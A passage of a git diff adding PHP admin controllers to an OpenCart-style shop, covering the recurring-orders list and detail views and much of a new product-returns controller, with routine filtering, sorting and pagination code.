+ $url = '';
+
+ if (isset($this->request->get['filter_order_recurring_id'])) {
+ $url .= '&filter_order_recurring_id=' . $this->request->get['filter_order_recurring_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_reference'])) {
+ $url .= '&filter_reference=' . urlencode(html_entity_decode($this->request->get['filter_reference'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_order_recurring'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=or.order_recurring_id' . $url, true);
+ $data['sort_order'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=or.order_id' . $url, true);
+ $data['sort_reference'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=or.reference' . $url, true);
+ $data['sort_customer'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=customer' . $url, true);
+ $data['sort_status'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=or.status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&sort=or.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_recurring_id'])) {
+ $url .= '&filter_order_recurring_id=' . $this->request->get['filter_order_recurring_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_reference'])) {
+ $url .= '&filter_reference=' . urlencode(html_entity_decode($this->request->get['filter_reference'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $recurrings_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->text = $this->language->get('text_pagination');
+ $pagination->url = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . '&page={page}' . $url, true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($recurrings_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($recurrings_total - $this->config->get('config_limit_admin'))) ? $recurrings_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $recurrings_total, ceil($recurrings_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_order_recurring_id'] = $filter_order_recurring_id;
+ $data['filter_order_id'] = $filter_order_id;
+ $data['filter_reference'] = $filter_reference;
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_status'] = $filter_status;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['recurring_statuses'] = array();
+
+ $data['recurring_statuses'][0] = array(
+ 'text' => '',
+ 'value' => 0
+ );
+
+ for ($i = 1; $i <= 6; $i++) {
+ $data['recurring_statuses'][$i] = array(
+ 'text' => $this->language->get('text_status_' . $i),
+ 'value' => $i,
+ );
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/recurring_list', $data));
+ }
+
+ public function info() {
+ $this->load->model('sale/recurring');
+
+ if (isset($this->request->get['order_recurring_id'])) {
+ $order_recurring_id = $this->request->get['order_recurring_id'];
+ } else {
+ $order_recurring_id = 0;
+ }
+
+ $order_recurring_info = $this->model_sale_recurring->getRecurring($order_recurring_id);
+
+ if ($order_recurring_info) {
+ $this->load->language('sale/recurring');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_recurring_id'])) {
+ $url .= '&filter_order_recurring_id=' . $this->request->get['filter_order_recurring_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_reference'])) {
+ $url .= '&filter_reference=' . $this->request->get['filter_reference'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['cancel'] = $this->url->link('sale/recurring', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ // Recurring
+ $data['order_recurring_id'] = $order_recurring_info['order_recurring_id'];
+ $data['reference'] = $order_recurring_info['reference'];
+ $data['recurring_name'] = $order_recurring_info['recurring_name'];
+
+ if ($order_recurring_info['recurring_id']) {
+ $data['recurring'] = $this->url->link('catalog/recurring/edit', 'user_token=' . $this->session->data['user_token'] . '&recurring_id=' . $order_recurring_info['recurring_id'], true);
+ } else {
+ $data['recurring'] = '';
+ }
+
+ $data['recurring_description'] = $order_recurring_info['recurring_description'];
+
+ if ($order_recurring_info['status']) {
+ $data['recurring_status']= $this->language->get('text_status_' . $order_recurring_info['status']);
+ } else {
+ $data['recurring_status'] = '';
+ }
+
+ $this->load->model('sale/order');
+
+ $order_info = $this->model_sale_order->getOrder($order_recurring_info['order_id']);
+
+ $data['payment_method'] = $order_info['payment_method'];
+
+ // Order
+ $data['order_id'] = $order_info['order_id'];
+ $data['order'] = $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $order_info['order_id'], true);
+ $data['firstname'] = $order_info['firstname'];
+ $data['lastname'] = $order_info['lastname'];
+
+ if ($order_info['customer_id']) {
+ $data['customer'] = $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $order_info['customer_id'], true);
+ } else {
+ $data['customer'] = '';
+ }
+
+ $data['email'] = $order_info['email'];
+ $data['order_status'] = $order_info['order_status'];
+ $data['date_added'] = date($this->language->get('date_format_short'), strtotime($order_info['date_added']));
+
+ // Product
+ $data['product'] = $order_recurring_info['product_name'];
+ $data['quantity'] = $order_recurring_info['product_quantity'];
+
+ // Transactions
+ $data['transactions'] = array();
+
+ $transactions = $this->model_sale_recurring->getRecurringTransactions($order_recurring_info['order_recurring_id']);
+
+ foreach ($transactions as $transaction) {
+ $data['transactions'][] = array(
+ 'date_added' => $transaction['date_added'],
+ 'type' => $transaction['type'],
+ 'amount' => $this->currency->format($transaction['amount'], $order_info['currency_code'], $order_info['currency_value'])
+ );
+ }
+
+ $data['buttons'] = $this->load->controller('extension/payment/' . $order_info['payment_code'] . '/recurringButtons');
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/recurring_info', $data));
+ } else {
+ return new Action('error/not_found');
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/sale/return.php b/public/admin/controller/sale/return.php
new file mode 100644
index 0000000..f814efa
--- /dev/null
+++ b/public/admin/controller/sale/return.php
@@ -0,0 +1,919 @@
+load->language('sale/return');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/return');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('sale/return');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/return');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_return->addReturn($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('sale/return');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/return');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_return->editReturn($this->request->get['return_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('sale/return');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/return');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $return_id) {
+ $this->model_sale_return->deleteReturn($return_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_return_id'])) {
+ $filter_return_id = $this->request->get['filter_return_id'];
+ } else {
+ $filter_return_id = '';
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $filter_order_id = $this->request->get['filter_order_id'];
+ } else {
+ $filter_order_id = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $filter_product = $this->request->get['filter_product'];
+ } else {
+ $filter_product = '';
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $filter_model = $this->request->get['filter_model'];
+ } else {
+ $filter_model = '';
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $filter_return_status_id = $this->request->get['filter_return_status_id'];
+ } else {
+ $filter_return_status_id = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $filter_date_modified = $this->request->get['filter_date_modified'];
+ } else {
+ $filter_date_modified = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'r.return_id';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('sale/return/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('sale/return/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['returns'] = array();
+
+ $filter_data = array(
+ 'filter_return_id' => $filter_return_id,
+ 'filter_order_id' => $filter_order_id,
+ 'filter_customer' => $filter_customer,
+ 'filter_product' => $filter_product,
+ 'filter_model' => $filter_model,
+ 'filter_return_status_id' => $filter_return_status_id,
+ 'filter_date_added' => $filter_date_added,
+ 'filter_date_modified' => $filter_date_modified,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $return_total = $this->model_sale_return->getTotalReturns($filter_data);
+
+ $results = $this->model_sale_return->getReturns($filter_data);
+
+ foreach ($results as $result) {
+ $data['returns'][] = array(
+ 'return_id' => $result['return_id'],
+ 'order_id' => $result['order_id'],
+ 'customer' => $result['customer'],
+ 'product' => $result['product'],
+ 'model' => $result['model'],
+ 'return_status' => $result['return_status'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'date_modified' => date($this->language->get('date_format_short'), strtotime($result['date_modified'])),
+ 'edit' => $this->url->link('sale/return/edit', 'user_token=' . $this->session->data['user_token'] . '&return_id=' . $result['return_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->session->data['error'])) {
+ $data['error_warning'] = $this->session->data['error'];
+
+ unset($this->session->data['error']);
+ } elseif (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_return_id'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.return_id' . $url, true);
+ $data['sort_order_id'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.order_id' . $url, true);
+ $data['sort_customer'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=customer' . $url, true);
+ $data['sort_product'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.product' . $url, true);
+ $data['sort_model'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.model' . $url, true);
+ $data['sort_status'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.date_added' . $url, true);
+ $data['sort_date_modified'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . '&sort=r.date_modified' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $return_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($return_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($return_total - $this->config->get('config_limit_admin'))) ? $return_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $return_total, ceil($return_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_return_id'] = $filter_return_id;
+ $data['filter_order_id'] = $filter_order_id;
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_product'] = $filter_product;
+ $data['filter_model'] = $filter_model;
+ $data['filter_return_status_id'] = $filter_return_status_id;
+ $data['filter_date_added'] = $filter_date_added;
+ $data['filter_date_modified'] = $filter_date_modified;
+
+ $this->load->model('localisation/return_status');
+
+ $data['return_statuses'] = $this->model_localisation_return_status->getReturnStatuses();
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/return_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['return_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['return_id'])) {
+ $data['return_id'] = (int)$this->request->get['return_id'];
+ } else {
+ $data['return_id'] = 0;
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['order_id'])) {
+ $data['error_order_id'] = $this->error['order_id'];
+ } else {
+ $data['error_order_id'] = '';
+ }
+
+ if (isset($this->error['firstname'])) {
+ $data['error_firstname'] = $this->error['firstname'];
+ } else {
+ $data['error_firstname'] = '';
+ }
+
+ if (isset($this->error['lastname'])) {
+ $data['error_lastname'] = $this->error['lastname'];
+ } else {
+ $data['error_lastname'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ if (isset($this->error['telephone'])) {
+ $data['error_telephone'] = $this->error['telephone'];
+ } else {
+ $data['error_telephone'] = '';
+ }
+
+ if (isset($this->error['product'])) {
+ $data['error_product'] = $this->error['product'];
+ } else {
+ $data['error_product'] = '';
+ }
+
+ if (isset($this->error['model'])) {
+ $data['error_model'] = $this->error['model'];
+ } else {
+ $data['error_model'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_return_id'])) {
+ $url .= '&filter_return_id=' . $this->request->get['filter_return_id'];
+ }
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['return_id'])) {
+ $data['action'] = $this->url->link('sale/return/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('sale/return/edit', 'user_token=' . $this->session->data['user_token'] . '&return_id=' . $this->request->get['return_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('sale/return', 'user_token=' . $this->session->data['user_token'] . $url, true);
